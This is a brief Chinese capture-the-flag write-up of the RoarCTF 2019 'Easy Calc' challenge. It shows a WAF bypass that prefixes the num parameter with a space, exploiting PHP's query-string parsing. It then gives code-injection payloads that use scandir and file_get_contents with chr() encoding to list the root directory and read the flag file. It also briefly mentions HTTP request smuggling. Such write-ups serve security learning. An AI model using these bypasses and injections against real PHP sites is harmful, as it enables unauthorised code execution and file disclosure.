[RoarCTF 2019]Easy Calc
进去后看源代码,发现有个calc.php,访问,是一段源码,get方法接受num参数,并且有waf对num过滤,同时后端代码也会正则表达去过滤。
waf和后端分开过滤,
也就是说可以先绕过waf,这里是对num变量的值检测,可以在num前面加上空格变成一个新的变量。
这里利用php字符串解析特性
【1】删去空格
【2】将某些字符转成下划线(包括空格)
/?%20news[id%00=42会转换为Array([news_id] => 42)
进入后端后,可以对num变量注入命令,使用php 的scandir(‘/’)函数扫描网站目录,但由于后端代码对‘/’三个符号都过滤了,所以我们使用chr()函数绕过,这个函数作用就是转换ascll码,因此playload是
? num=var_dump(scandir(chr(47)))
找到flag的位置,使用file_get_contents()函数显示文件,继续使用字符拼接绕过。
playload为
? num=var_dump(file_get_contents(chr(47).chr(102).chr(108).chr(97).chr(103).chr(103)))
flag就出来了
http走私